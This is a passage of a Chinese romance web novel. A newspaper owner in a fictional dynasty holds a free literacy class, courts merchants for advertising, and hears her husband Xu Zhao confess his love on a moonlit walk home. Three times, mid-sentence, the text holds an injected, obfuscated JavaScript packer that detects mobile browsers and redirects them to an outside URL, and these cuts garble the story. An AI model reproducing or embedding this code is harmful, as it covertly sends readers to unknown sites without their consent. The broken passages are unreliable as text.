从回城后孟允抒就开始着手准备讲学事宜,她联想到曾经在现代书店见过的“读书会”活动,觉得这是个不错的营销手段,在传播文化的同时也能推销店内的商品。于是,她借鉴这种模式作了初步的计划和安排,对外放出报社要举办“识字会”的消息。 首次识字会将由她主讲,根据课程效果和反响再作调整。 两人向孟允抒道过谢,其中一人腼腆地笑了笑:“我夫君每日都要看报,案上堆满了纸张。我听他说,小报上有诸多奇闻轶事,我心生好奇,却因不识字而无法读懂其中内容。近日我曾听闻黎民报社中要举办识字会,故来洗耳恭听。” 孟允抒没和她们聊上几句,因为在她们之后又陆续来了不少人,孟允抒店内的伙计跑前跑后,忙着招呼来客。他们大多衣着简朴,不少人还穿着破破烂烂的草鞋,打眼一看就是最寻常不过的平民。众人来听课的理由也各不相同,有单纯前来瞧新鲜凑热闹的,有带着孩子来蒙学的,还有像那妇人与从前的排云一样,为了能够读书看报而学习识字的。 很快,采闻堂中就挤满了人,呈现出一派沸反盈天的景象。 当孟允抒再次折返回门口时,发现那里站着一个熟悉,但令她十分意外的身影。 她惊疑地看向陈暄。 “你怎么来了?” 陈暄尴尬地抹了下鼻子,装出一副打量采闻堂的样子:“我听闻你们报社要举办什么识字会,心生好奇,所以来看看。” 他踌躇了一下补充道:“你和许大人为修远申了冤,我感激不尽。你若是有什么需要帮忙的地方,就尽管开口。” “你先进来吧。”孟允抒带陈暄进了门,寻了个空处落脚。她觉得他的表现挺稀奇,忍俊不禁道:“平日你说话总是夹枪带棒的,这会来帮忙,反倒不好意思起来了。” 面对她的调侃,陈暄赶紧岔开话题问道:“这些人都是来参加识字会的?” 孟允抒回头望向满堂的来客,点了点头。 他沉默片刻,而后露出一个释然而苦涩的微笑。 “如此一来,他的心愿也算是实现了。” 孟允抒当然明白陈暄口中的“他”是指谁。 许昭押送柳玉成至刑部之后,陈暄就在第一时间给陈修远的家人写了信,向其告知案件真相,并联合他们写了谅解书,请求刑部官员对柳玉成宽大处理。 陈暄说,因为陈修远的死,他永远不会原谅柳玉成。 但是,他希望这世上能早日多出一位柳先生。 孟允抒看了看院中的那个滴漏,发觉时间差不多了。于是,她站到采闻堂最前方,高声维持纪律:“请诸位安静一下,识字会要开始了。” 她看向采闻堂后方乌泱泱的人头说道:“我们社中没有那么多椅子,辛苦后面的那些兄弟姐妹站着听讲。麻烦个头高的人往后站站,别挡着后面的人。” 除过她这个主讲人外,排云担任此次识字会的助教,还有另外一名伙计作为机动人员,加上陈暄这个志愿者,在几人的合作下,不多时堂内就安静下来。 管理好秩序后,孟允抒继续说道:“感谢诸位莅临黎民报社,参加此次识字会。我们再次承诺,识字会是由报社自发举办,不会向诸位收取任何费用。” 她扫视了一圈屋内的人。男女老少都仰起头,一齐向她投来目光。在这些目光当中,有的是困惑,有的是好奇,还有的是感激。 恍惚之间孟允抒仿佛看到,在他们身后,站着江芷兰,还有柳玉成。 虽然他们的身份、性格、际遇都截然不同,但他们共同构成了一个词汇。 “这就是‘人’。” 孟允抒指着木板上的第一个字说道。 她拆解着这个字的结构:“‘人’字由一撇一捺组成,它们彼此支撑,互相搀扶,构成了这样简单却和谐的字。” 将第一句话的每个字都单拎出来讲解后,孟允抒让大家齐声朗读一遍。 粗犷与轻柔的声音混在一起,沧桑的语调和着清脆的童声,将这句话拉得很长。 “人之初,性本善。性相近,□□——” 孟允抒解释起了句子的含义:“这句话的意思是说,人在刚出生时,本性都是善良的,性情也很相近。但由于后天的学习环境不同,每个人的习性就会产生差异。这就是学习和教育的重要性。” 事实上,孟允抒不信奉任何“性善论”或“性恶论”的观点,但要和眼前的这些民众讨论这些显然为时过早。他们甚至都不认得几个字,更遑论令他们进行哲学上的思辨。 然而,即使他们只能迈出小小的一步,那也是极为难得的成就。 第一次识字会圆满结束后,众人三三两两地离开,陈暄也随之告辞。临别前他告诉孟允抒,以后他若是有空,也可以充当主讲人的角色。 孟允抒低头整理着她在识字会上所用器具,门口突然响起一道热情洋溢的男声:“孟社长,您这会忙吗?” 孟允抒抬头看向那人,回忆了一下问道:“你是揽月阁的伙计?” “您真是好记性。” 他就是那个前些天被福临楼的两人刁难的店小二。 孟允抒和许昭查明陈修远一案后,揽月阁的嫌疑彻底被洗清,谣言也不攻自破。几日前潘掌柜为表感谢,一定要请他们吃饭。他盛情难却,最后两人就应了下来。 这会伙计来应该是替潘掌柜传话的。 “先前我们掌柜请您和许大人吃饭,本来定的时间是明日中午,但昨日揽月阁中突然来了其他几个店铺的掌柜。”这位伙计干多了跑堂的活,嘴皮子相当利索,“有永乐巷成衣店的胡掌柜、韵宁茶坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杨掌柜、驻颜阁的赵掌柜……” 孟允抒听得晕头转向,但那伙计居然连一个绊子都没打,语速飞快地介绍完了各位来宾。 “他们来寻潘掌柜,想让他牵线搭桥,将您和许大人介绍给他们。这几位掌柜平日也经常忙得抽不开身,他们近期只有今晚都有空。所以我们掌柜赶紧派我来问问您,若他更改时间,看您是否还能来赴约。” 虽然孟允抒没能将那几个掌柜的身份全部记下,但她不难推测这些人的目的。 陈修远一案得到重审后,许昭串联证据推翻原判,冲破重重阻挠后将方知瑜抓获归案,他与柳玉成各自被定了罪,涉案官员也悉数落网。 与此同时,孟允抒连着出了几期的跟踪报道,通过小报讲述了他们的调查过程和案件经过,将真相公之于众。因此事涉及的势力众多,讨论度极高,一时间黎民日报供不应求,报社一夜之间人满为患。 从此之后,孟允抒不用再为报社没有名气而发愁了。 那伙计所提到的这几个掌柜应当是想和报社合作,借吃饭的机会与孟允抒结识。运气好的话,她应该能接到不少广告。 接广也是报社中一项很重要的收入来源,孟允抒生怕错失几位金主,当即答应下来。 “有劳你回禀潘掌柜,酉时之后我就没什么事了,一切听从潘掌柜安排。” 伙计前脚刚走,秋盈又跨过采闻堂的门槛,满面春风地向孟允抒报喜。 “社长,我已经和那些合作方谈妥了,他们愿意以更高的进价买我们的报纸。这样算下来,我们每个月的收入能翻四五番。” 秋盈口中的合作方包括京城中的众多摊贩,以及刚刚诞生不久的职业卖报人。 孟允抒听到这个消息也是喜上眉梢。她果真没有看错,秋盈是她的得力助手,将店内的一切事物都管理得井井有条,为她减轻了不少负担。 “既是如此,姐姐每月的薪酬也该翻上四五番。”她对秋盈笑道,“这些日子辛苦你了。” “这是我分内之事,我乐在其中呢。” 秋盈和孟允抒调笑一会,复而正色道:“还有件事我想和你商量。有些客官住得离报社远,没有每日前来买报的空闲,所以我在考虑直接将报纸送到他们的指定地点。你若是同意,我就派人前去收集他们的信息,合理安排送报的路线。” 发展订报业务有助于增强读者粘性,一旦这些人成为黎民日报的老主顾,他们报社就能获得稳定的资金来源。 孟允抒发觉,秋盈现在愈发有职业女性的模样,整个人都不像从前那般循规拘礼。 “这主意不错,此事就交给你了。”孟允抒对秋盈的变化喜闻乐见,大力鼓励她放手去做,“你办事,我放心。” “行,那我就将此事分派下去了。” 秋盈离开后,孟允抒也带着收好的笔墨回到办公室。 她坐在椅子上喘了口气,又开始思索晚上面见那几位掌柜的事。 孟允抒好歹也是在职场上混过几年的人,姑且算得上伶牙俐齿,酒量也不错,倒是不担心和这些商人打交道。 唯一的不稳定因素是许昭。 孟允抒已经见识过许昭独特的社交方式,虽然不太礼貌,但为了报社的前途,她决定提前委婉地告诉许昭,让他在席间尽量少说话。 28. 商业合作 傍晚,孟允抒准时来到揽月阁,她的一只脚刚刚跨过门槛,顿时就被此起彼伏的笑声淹没。 胤朝没有宵禁,人们的夜生活相当丰富,此时的揽月阁中人满为患,热闹程度甚至远超白天。东边的舞台上,有乐师与舞女进行着歌舞表演;而在另一侧的角落中,说书人正讲述着前些天陈修远的案子,作为来客吃饭时的助兴节目。 那名说书人正讲到精彩处,不少食客纷纷放下手中的筷子凝神聆听。孟允抒对此场景十分满意。 前些天陈修远一案告破后,潘掌柜曾问孟允抒需要什么报酬,她就向潘掌柜提议合作,请揽月阁的说书人兼职唱报,讲述每日新闻头条,若有客官对其所讲的新闻感兴趣,可花上三文钱从说书人处购买小报。 孟允抒赶着去赴约,顾不上在此处驻足逗留,径直往楼梯的方向走。 尽管四周是一片喧嚣,眼尖的店小二依然马上发现了孟允抒,小跑着来到她身边,脸上堆满笑容:“孟社长,您可算来了,我们掌柜一直盼着您呢。请随我来。” 孟允抒跟着伙计来到二楼一处雅间,隔着门就能听见里面传来的高谈阔论。 她固然喜欢人多的地方,但上了一天的班,她一直没空休息,当前精力严重不足。现在四下都是吵吵嚷嚷的声音,孟允抒还没进去就已经感觉到头疼了。 没办法,要赚钱的嘛。 她拦住伙计推门的动作,先请他去忙,自己则通过门缝瞅了一眼屋内的情况。 屋内已经坐了八个人,只有许昭身边还有个空位,显然这座位是给她预留的。看来,所有宾客都已经到齐。 除此之外孟允抒发现,许昭在一群圆滑世故的商人中格格不入,他一言不发地靠在椅背上,神情恍惚,连眼睛中都没了光彩,像极了被迫营业的社畜。 看上去他还坐在桌边,实际上人已经走了有一会了。 许昭一开始并没有答应潘掌柜的邀请,但后来听说孟允抒要来赴约,担心她夜里一个人回家的安全问题,于是又改口同意。 真是难为他了。 为了给那些掌柜留下一个好印象,孟允抒调整好状态,摆出一副温柔可亲的微笑走了进去:“诸位掌柜抱歉,报社事务繁忙,我来迟了。” 桌上的人闻声暂时中止了谈话,纷纷向孟允抒起身行礼,潘掌柜对她笑道:“孟社长近日忙得抽不开身,我们都能够理解,快请坐。” 他所指的方向正是许昭旁边的那个椅子。 孟允抒坐到许昭身边,装模做样地问他:“许大人好久不见,你近来可好?” 许昭谨记孟允抒的提醒,冲她微微一笑,机械地背着台词,连点头的动作都变得僵硬:“多谢孟社长挂念,一切顺利。” 孟允抒不敢直视许昭的脸,生怕她一个忍不住会笑出声。于是她迅速结束了与许昭的对话,将目光投向对面,听潘掌柜向桌上的宾客介绍彼此的身份。 她应和着潘掌柜的介绍,余光瞥见许昭一反常态的神情。自从她坐到许昭旁边,他就突然来了精神,整个人都容光焕发起来,这会正兴致盎然地听他们说话,满脸都是喜气。 孟允抒不明白,她当初到底为什么会觉得许昭的心思难猜。 双方初步相识后,那名韵宁茶坊的杨掌柜率先举起酒杯笑道:“先前我从潘掌柜那里听到孟社长的名号与事迹,还以为社长是个刚强泼辣的人。今日有幸得见,孟社长竟是这般温婉灵秀的女子,着实令人意外。” 孟允抒觉得这人分明是笑里藏刀。 她听得出对方的不信任,话里话外都是对自己的试探。 孟允抒回敬给对方一个笑容,与他碰了杯。 “杨掌柜此言差矣。你我都是生意人,最忌讳以貌取人,掌柜与我相识不到一刻,只从外表上断定我的性情未免太过草率。” 说罢,她仰起脖子,一口将杯中的酒饮了个干净。 这酒名叫清波摇,气味香醇但入口浓烈,如利刃滚过喉咙,火辣辣的感觉从食道一直延伸至胃中。孟允抒凭直觉判断它的酒精度数不低。 潘掌柜见状出来打圆场:“这酒虽好,喝多了却会伤身。孟社长,小酌怡情。” “潘掌柜所言极是,只是这杯酒对我来说实在算不上什么。”孟允抒抬眼看向杨掌柜,“我看杨掌柜身材魁梧,照您的说法,饮这一坛也应当没有问题吧?” 听到孟允抒的回答,杨掌柜并未生气,与其他几人一同大笑起来:“我早就听闻孟社长口齿伶俐,今日一见果真名不虚传。” 在旁边目睹了全过程的许昭神情迷茫,看上去完全没理解他们在打什么哑谜,只能附和着众人一起尴尬地微笑。 孟允抒一早就知道,他们今日聚餐的本质是潘掌柜向她和许昭答谢,那些掌柜对此当然也心知肚明,胤朝人又讲究风雅,不可能在桌上做比酒量这种庸俗之事。 杨掌柜只是在判断她的行事风格,以此确定两人打交道的方式。 酒过三巡后,他们的关系愈发熟稔,孟允抒妙语连珠,桌上的人笑得前仰后合,免不了一番商业互吹。 其中,孟允抒听到最多的夸赞是“女中豪杰”。 她听到这句话时虽面色如常,内心却有些怅然。 胤朝毕竟还处在封建时代,相较男子来说,女子经商并不普遍,更别说经营管理整个店铺。他们的这句夸赞恰恰说明孟允抒的身份与行为罕见,可这本应是一件稀松平常的事情。 待桌上的酒菜都消失大半后,几人不再动筷,只是偶尔饮一口茶水。 开成衣店的胡掌柜放下茶杯,坐直身子笑道:“孟社长能将黎民日报销往京中各处,令报社的名号响彻整座京城,我实在佩服。今日通过潘掌柜的引荐,我们也与社长结交为好友,还望您多多关照。” 孟允抒听他这话就知道,这些人终于要和自己商量正事了。 “胡掌柜不必拘礼,你我都是朋友,自然该彼此照应。” 胡掌柜心里有了底,向孟允抒表明他的来意:“实不相瞒,近日我们店中的生意不大景气。先前我与店中伙计绘制出一批图纸,按照其样式做出新衣,但知情者并不多,也有许多人不曾了解其中所含的匠心,只有寥寥几人购买。” “因此,我想请孟社长为店中的新衣款式进行宣传介绍,吸引更多人来店中一探究竟。需要多少钱您尽管开口,一切都好商量。” 孟允抒等的就是这一刻,她按捺住心中的兴奋,装出一副云淡风轻的样子,显得她像是个见惯大场面的人,像是每天都能谈上千两银子的生意。 “胡掌柜所营成衣店享誉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504035|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全京城,无论是大家还是平民,都对其赞不绝口,称其兼具美观与舒适性。我帮胡掌柜推广店中新衣,实际上是借了掌柜的名气,于我们报社也十分有利。若掌柜确有此意,稍后我们可去社中详谈。” 见胡掌柜将话题引至此处,桌上的其他人也纷纷向孟允抒表明合作意向:杨掌柜想在城中开一家分店,让她提前宣传积累人气;驻颜阁的赵掌柜请她做一期美妆测评,向民众展示其产品效果;开香铺的王掌柜近日在店中开展大促活动,经典香型的制品有满减优惠,想叫孟允抒帮忙推广。 孟允抒一一应下,与众人约见了会谈时间,随后做进一步打算。 众人都达成了各自的目的,一时喜不自胜,再次举杯把酒言欢。这样几圈下来,饶是孟允抒这样的好酒量都有些顶不住。 许昭几次想出言相劝,却被孟允抒用眼神挡了回去。 宴饮步入尾声,杨掌柜看看窗外渐浓的夜色,晃晃悠悠地起身说道:“时候不早了,我们也不便再继续叨扰潘掌柜与孟社长,不如先各自回府,改日再聚。” 该说的话都已经说完,众位宾客纷纷应和杨掌柜的提议,互相施礼离席。潘掌柜看看醉醺醺的来宾,适时地说道:“诸位今日都喝了不少酒,不便独自回府。请各位稍等片刻,我叫伙计去备马,送你们回去。” 此时的孟允抒头脑发晕,却没到神智不清的地步,在潘掌柜起身的前一秒,她突然意识到一件事,连忙拦住他的动作。 “潘掌柜不必给我备马。” 她与许昭的声音撞在一起,潘掌柜疑惑地看向异口同声的两人:“为什么?” 孟允抒若是让揽月阁的伙计送她回去,她和许昭的关系就不言自明了。 她的借口信手拈来,脱口而出道:“我在房中闷得久了,想借着回府的这段路散散步,顺带醒一醒酒。” 许昭则说道:“我的府邸离此处不远,不出半个时辰就能到,不劳烦潘掌柜送我了。” 潘掌柜看了看孟允抒,不大放心地说:“孟社长胆识过人,但你终究只是个弱女子,又喝了酒,夜里行走多有不便,还是店中的让伙计送你回去吧。” 孟允抒推拒不得,她看看身边的许昭,又生一计。 她拉来许昭靠近潘掌柜,故作神秘地压低声音:“我有事要与许大人相商,他会与我同行。” 许昭想起孟允抒事先叮咛过他,在席间无论她说什么都要表示支持,于是附和着她点头。 “原来如此。”潘掌柜心下了然,喊来个伙计让他将孟允抒和许昭送至门外,自己则十分有眼力见地退了出去,为其他掌柜安排车马。 待两人将揽月阁的喧嚣远远甩在身后时,孟允抒这才放松下来,和许昭不约而同地长舒了一口气。 他们彼此对视了一眼,都被对方刚才装模做样的神情逗笑。 两人正沿着街道朝许府的方向走,许昭环顾四周,目光落在前方的小摊上:“你先在此处休息片刻,我去找辆马车。” “不必了。”这会丝丝缕缕的凉风吹散了孟允抒的酒气,让她觉得十分惬意,“我们已经走出去了不少路,现在离许府不远,不如直接步行回去。” 她看看许昭,忆及萧睿言给她传递的最新情报,对许昭笑道:“正好我有些话想问公子。” 29. 心意 随着孟允抒和许昭远离云锦天街,路上行人的身影逐渐稀疏,周遭的环境也愈发安静,只剩下两人踏在地上的脚步声,以及他们之间闲谈的絮语。 “傍晚时睿言曾来过报社一趟,说他曾见到几位官员和你争辩,你们吵得不可开交,但他并不知道内情。”孟允抒缓步向前,半是八卦半是关心许昭地问他,“你又在朝中做了什么事,惹得他们那样生气?” 孟允抒之所以用“又”这个字,实在是因为许昭在外面招惹的人太多了。要是哪天她听不到有官员来找许昭吵架,那她才会觉得奇怪。 提起此事,许昭也有些愤愤不平:“因为我在今日上朝时上疏奏议,戳了那些老顽固的痛处,他们觉得是我让他们颜面扫地,就来挑我的错处。” 萧睿言当前的品级不够,他只有在特殊情况下才去上朝,因此并不知道许昭今日在朝会中说了什么。 通过平日和许昭以及萧睿言的交流,孟允抒大致知晓胤朝当前的政局。他们当今的圣上是个仁君,政治能力算不上拔尖,手腕也并不强硬,但好在慧眼识珠,知人善任。为了富国强兵,解决前朝积累下来的种种问题,他广纳贤才,鼓励他们进谏,大刀阔斧地对各种政治制度进行变革。 因此,朝中官员大致可分为三种派别。许昭向来不参与站队,但从政治志愿上来讲,他属于变革派的一员,而他口中的“老顽固”就是那些保守派的成员。 其余的大多数人则是萧睿言口中的中立派。 孟允抒好奇道:“你和陛下提了什么改制的建议,居然能令这些大臣大发雷霆?” “这些建议我已思虑许久,眼下才得来良机。” 许昭讲起了他上疏的原委。 “如今陈修远一案已经尘埃落定,此案的经过与内情并不复杂,可其中牵涉的人员众多,也暴露出现行教育与科举选官制度的诸多弊端。相较于富家子弟,寒门学子要想通过勤学苦读而登科入士,简直难如登天。” 孟允抒赞同地点头。一个人若是家境优渥,他不用为生计奔波,自然可以专心学习。同时,因为出身优越,他能享受到优质的教育资源,在起跑线上就已经赢过寒门学子太多。 “而且,女子的情况比他们还要艰难。” 许昭仰头看向天边的一轮残月,而后将目光落在孟允抒身上。 “在大胤律法当中,虽无明文禁止女子参加科考,但人尽皆知,女子被排除在仕途之外。即便她们通过考试,也往往只能被授予一个象征性的封号,无法获得实职。因此,世人更加认为女子读书无用。” 孟允抒身为女性,对这些现象当然不满,但她没料到许昭能注意到这一点。 她问了许昭一个略显尖锐的问题。 “世人皆认为男尊女卑,说女子就应安分守己、相夫教子,而非在外抛头露面。公子却不这样认为?” 许昭的回答脱口而出,显然他早就思考过这个问题。 “那是自然,女子并非天生就该做这些事。无论是寒士也好,女子也罢,都应有机会发挥各自的才能。这样一来,国家才有可能兴旺发达,百姓方能安居乐业。” 许昭又回到了他上疏奏议的话题上:“因此,我提出了一些改制的建议,希望教育与科考选官更公平些,让人们不因出身、家世、性别所累。” “公平”从来都是一个棘手的难题,而且要实现这一目标,就一定会有许多人的利益受损。许昭所提出的改革力度很大,必然触及多方势力,女子从政更是对传统观念的巨大冲击。 因此,孟允抒不难理解众位官员对许昭的态度。 “公子的想法很好,可此举定然会遭到来自各方的阻挠与驳斥。” “但我必须这样做。” 许昭轻轻叹了口气,声音中不乏惋惜和悲愤。 “我母亲,江芷兰,陈暄,柳玉成,他们原本都是仁人义士,却因机遇不佳,或命途多舛,或误入歧途。大胤的土地广博,人口众多,在他们当中,又有多少人像那些人一样被埋没?这是对贤才的浪费,也是对他们人生的辜负。” 许昭抬眼看向孟允抒:“正如姑娘一般,你才华横溢,有胆有识,过去却一直被困在闺阁之中。如今你的事业蒸蒸日上,我也乐见其成。” 许昭的这番陈词在孟允抒心中掀起巨大的波澜。她终于明白,仅用“品行端正”一词来形容许昭太过单薄。 他没有阻碍自己办报,不单由于他是个好人,不愿限制她的自由,更是因为他真心实意地赞成她的做法。 孟允抒想起萧睿言所说的那句话。归根结底,她和许昭是一样的人,他们有着相同的理想信念。 她抬头注视着许昭。孟允抒面带微笑,语气却是从未有过的珍重。 “公子与我是知己。” “只可惜这名号来得有些晚。”许昭笑笑,有些遗憾地说,“过去两年我不了解姑娘,也并不知晓你有这般雄心壮志。” 他感慨道:“姚府倒台后,你非但不怨恨我,反而为我仗义执言。从那天起我才明白,原来姑娘有主见,是个明辨是非的人。你不计较身份高低,不贪图享乐,又有学识有志气,心性坚韧,胸怀广博,着实令我敬佩。” 他的语气十分真诚,孟允抒本就醉着酒,这下被许昭一夸,她更是觉得有些晕乎。 她不好意思地推拒道:“公子谬赞了,我哪能担得起‘敬佩’二字。” 许昭看了她一眼,将目光从孟允抒身上移开:“姑娘所言极是。” 孟允抒眼见着绯色的云霞一点点攀上许昭的耳廓,忽然嗅出一丝不对劲的气息。 “我对姑娘的感情与其说是‘敬佩’,倒不如‘仰慕’二字来得更为妥当。” 许昭突如其来的直球打得孟允抒猝不及防,她想像往常一样开个玩笑缓解尴尬,可挖空了心思也没能憋出一句话。 孟允抒发觉自己的脸上发烫,心脏也剧烈跳动起来,连带着她的脚步都有些虚浮,几乎难以支撑身体。 她心慌意乱地想,肯定是她的酒劲开始发作了。 她要是再继续调侃许昭,还指不定他会发表什么惊世骇俗的言论,于是孟允抒故作镇定地说道:“公、公子何出此言?” 孟允抒结结巴巴地说完一句话,全然没有平时的巧舌如簧。这下她更加笃定,她此刻的反应是酒精作祟。 尽管许昭看起来也十分局促,可他依然执拗地看向孟允抒,一字一句地坦白自己的心迹,语气庄重而真挚。 “在庙会上姑娘曾与我对谈,你告诉我何为‘从心所欲’。近日我发现,每次我见到你便心生欢喜,不见你时又甚是思念。因此我想,我应是心悦于你。” 孟允抒慌得六神无主,她匆忙地应了声“嗯”,抬眼看向前方随风舞动的柳梢。 她同许昭聊起报社的近况,生硬地转移话题。 “多亏公子一直以来鼎力相助,现今报社的发展如日中天。照这样下去,赶今年年末,我们投入的本钱就可尽数收回。” “那到时就劳烦你将这些钱归到府中的账目上。”许昭接过她的话说,“过去府中的账本都放在我那里,我近日正想和姑娘商量,将管账的事交给你。” 他又补充道:“姑娘放心,府中的账务并不繁杂,不会耽误你多少时间。” 以前孟允抒和许昭都是各过各的,两人名义上是夫妻,但私底下都不会过问彼此钱财的去处。 在各府当中,账务由女主人管理是一件约定俗成的事。就算孟允抒再想自我欺骗,也无法忽略许昭这句话中所含的情意。 她再次确认自己没听错:“公子让我管账?” “你与我本就是一家人,由你管账理所应当。”许昭垂眸说道,“我只想让你放心。” 完了,她非但没能把话题引向更远的地方,反倒让他把这话说得愈加明了。 此刻孟允抒心乱如麻,不知该如何应对许昭对她的感情。 经过这段时间的相处,她和许昭一同经历了不少事,也逐步摸清了他的品行与性情。如许昭所说,孟允抒每次见到他时也一样心情愉悦。 扪心自问,她似乎的确在不觉间对许昭生出情愫,但她总觉得两人的关系还没到他所说的地步。 今日许昭的表白来得突然,如果她就这样稀里糊涂地接纳许昭的感情,这对他,对她自己来说都太过草率。 她还需要一段时间消化他们之间的感情,确定自己对许昭的心意。 孟允抒心中有了主意,她看向许昭正色道:“公子对我的情意发自肺腑,我深受触动,也感激不尽。” 她低下头,咬了咬唇说道:“只是如今报社发展正处在关键时期,我暂时抽不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522220|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精力来处理个人感情,也并无空闲操持家务。还望公子见谅。” 许昭久久没有回应,她也不敢直视他的面庞。 他好不容易鼓起勇气说出心里话,却得来这样的拒绝。 孟允抒突然有点后悔。这对许昭来说是个相当残忍的打击。 “我明白了。”许昭低声说道,“是我太唐突,冒犯了姑娘。” “不,我绝无此意。”孟允抒急忙向许昭解释,“只是请公子给我些时间,容我适应一阵。” 许昭挤出一个微笑,对她点点头:“我知道。” 孟允抒见他这幅神情,心里又有些难过。 她想了想,对许昭说道:“既然我已经知晓公子对我的情意,那就请你对我换个称呼。” “‘姑娘’一词听起来太生分了。”孟允抒对他笑笑,“以后公子就叫我‘允抒’吧。” 许昭先是一怔,而后欣喜地点头。 孟允抒这句话的潜台词就是,他们的关系有再进一步的可能。 “方才你提起报社,令我想到一件事。”聊完感情问题,许昭言归正传道,“近日报社声名鹊起,我也替你高兴。但你要小心树大招风。” 俗话说“人怕出名猪怕壮”,再加上孟允抒干的这行本来就容易得罪人,接下来的一段时间内,黎民报社肯定是站在风口浪尖上。 “你一定要保全自己。” 孟允抒看向许昭,他的面色中满是担忧。她想起许昭的心结,觉得他的反应可谓自相矛盾。 “我早就想问公子,你害怕失去身边亲友,为何却放任我查找真相?” 许昭沉默片刻,像是回避这种可能性一般,过了一会才开口。 “因为这是你的志向,我不该对你横加阻拦。我若是因为,未免太过自私。” 许昭语气诚恳,墨玉似的眼瞳被月光笼上一层清辉,在夜色中显得闪闪发亮。 “而且在做这些事时,我能察觉到你的欣喜。只要你高兴,我就愿意支持你。” 孟允抒没料到他会这样回答,一时间有些发愣。 与此同时,一阵柔软的暖意漫上心头。 这个理由十分简单,但也足够真挚。上次她听到类似的话语还是在她父母口中。 过去她为了自保以及达成目的,曾多次扯谎欺骗许昭。而这份假意却换来一颗沉甸甸的真心。 孟允抒的视线竟然有些模糊。 她强行压制住心头纷繁复杂的情绪,尽力保持语气的平静。 “多谢公子。” 许昭发觉孟允抒的声音似乎不对劲,见她低着头,就凑近了些问道:“你说什么?” 他望见了孟允抒脸上的泪痕。 许昭没料到孟允抒会做出这样的反应,手足无措地问她:“你为何突然落泪?可是我说错了话?若是如此,我向你赔罪……” 孟允抒正是百感交集之时,却被他的举动逗得破涕为笑。 许昭这人堪称钢铁直男。 她摇摇头说道:“你没有错,只是我近日略感疲惫,哭出来心中会轻松些。” 许昭一听,脸上的慌张转为担忧,向孟允抒提议道:“那待到端午时,我陪姑娘去青阳湖走走,那里每年都会赛龙舟,游客众多。你爱热闹,此处适合你去散心。” 孟允抒欣然应允,抬头看向许昭:“只是除此之外,我还想向公子要一样东西。” “姑娘尽管开口。” 孟允抒却没有继续说话,只是张开双臂将许昭抱了个满怀。 许昭被她的举动打得措手不及,但他很快理解了孟允抒这般举动的含义,于是也抬起双手,轻柔地回应着她的动作。 这是一个相当克制的拥抱,没有掺杂恋人之间的爱,有的只是对知己情谊的欢欣和感激。 不过,孟允抒很快就发现了一丝违和感。 她的目光向下看了一眼,她感觉两人再这么抱下去,这个举动的性质就变了。 所幸许昭也意识到了这一点,他赶在孟允抒之前收回了手,尴尬地偏过头。 为了不让两人之间的空气凝滞,孟允抒轻咳一声,若无其事地转移话题道:“明日我还要去报社,公子也得上朝,我们快些回府吧。” 她不用看许昭就知道,现在他们俩的脸色比人家房前挂的灯笼还要红上几分。